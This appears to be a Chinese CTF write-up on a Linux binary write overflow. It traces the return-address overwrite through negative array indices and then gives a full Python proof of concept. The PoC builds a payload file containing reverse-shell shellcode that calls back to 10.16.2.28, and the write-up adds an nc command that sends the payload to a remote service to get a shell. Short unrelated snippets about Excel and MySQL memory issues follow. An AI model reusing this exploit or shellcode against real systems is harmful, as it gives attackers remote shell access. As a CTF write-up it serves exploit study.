linux 寫入溢位

2021-06-21 16:55:49 字數 2077 閱讀 1347

程式介面:

做這種題可以先將 函式流程理出來就好做了

int __cdecl sub_8048c00()  主功能函式

int __cdecl sub_8048c00()

{ char *v0; // eax@1

signed int v1; // eax@4

int result; // eax@10

char v3; // [sp+13h] [bp-19h]@2

char arr; // [sp+14h] [bp-18h]@14

char v5; // [sp+1bh] [bp-11h]@1

int v6; // [sp+1ch] [bp-10h]@1

可以看到主函式 sub_8048c00   的返回位址肯定比  arr字串的位址高,所以可以修改返回位址可以發現漏洞點:

sub_8048c00   主功能函式

返回位址  :0804859e

修改為      0804b1e0

輸入 " -17"可以85 ++  (0xb1-0x85)次

輸入 " -16"可以9e ++  (0xe0-0x9e)次

edb看到:

gdb可以看到:

最後nc 218.2.197.251:1234 1234 < payload.txt 即可獲得shell

poc:

shellcode = (  

#define ipaddr '\x0a\x10\x02\x1c' 10.16.2.28

#define port '\x7a\x69'

'\x31\xc0\x31\xdb\x31\xc9\x31\xd2'

'\xb0\x66\xb3\x01\x51\x6a\x06\x6a'

'\x01\x6a\x02\x89\xe1\xcd\x80\x89'

'\xc6\xb0\x66\x31\xdb\xb3\x02\x68'

#ipaddr

'\x0a\x10\x02\x1c'

'\x66\x68'

#port

'\x7a\x69'

'\x66\x53\xfe'

'\xc3\x89\xe1\x6a\x10\x51\x56\x89'

'\xe1\xcd\x80\x31\xc9\xb1\x03\xfe'

'\xc9\xb0\x3f\xcd\x80\x75\xf8\x31'

'\xc0\x52\x68\x6e\x2f\x73\x68\x68'

'\x2f\x2f\x62\x69\x89\xe3\x52\x53'

'\x89\xe1\x52\x89\xe2\xb0\x0b\xcd'

'\x80\x90'

)data = ''

data += 'a\n -16\n'*(0xe0-0x9e)

data += 'a\n -17\n'*(0xb1-0x85)

data += 'a\n1\n'

data += 'c\ny\n'

data += 'name\n'

data += shellcode+'\n'

data += 'd\n'

open('payload.txt','w').write(data)

import binascii

print repr(binascii.hexlify(data))

POI 解決寫入excel記憶體溢位

下面是結構圖 在專案中遇到二十萬行資料要寫入到excel中時會記憶體溢位,一般方法是調大tomcat的記憶體,但是調到2048m還是會記憶體溢位報錯 poi官網給了一種大批量資料寫入的方法 使用sxxfworkbook 類進行大批量寫入操作解決了這個問題 import junit.framework...

linux 記憶體溢位排查 mysql記憶體溢位處理

業務場景 mysql 元件版本 mysql 5.7.25軟體架構 兩主兩從 01問題描述 mysql是乙個關係型資料庫管理系統,屬於oracle旗下產品。mysql是最流行的關係型資料庫管理系統之一,在web應用方面,mysql是最好的rdbms relational database manage...

Linux 光碟寫入工具

1 建立映像檔 1 製作一般資料的光碟映像檔案 命令 mkisofs o 映像檔 jrv v vol m file 待備份檔案 graft point isodir systemdir 選項與引數 o 後面接你想要產生的那個映像檔檔名。j 產生較相容於 windows 機器的檔名結構,可增加檔名長度...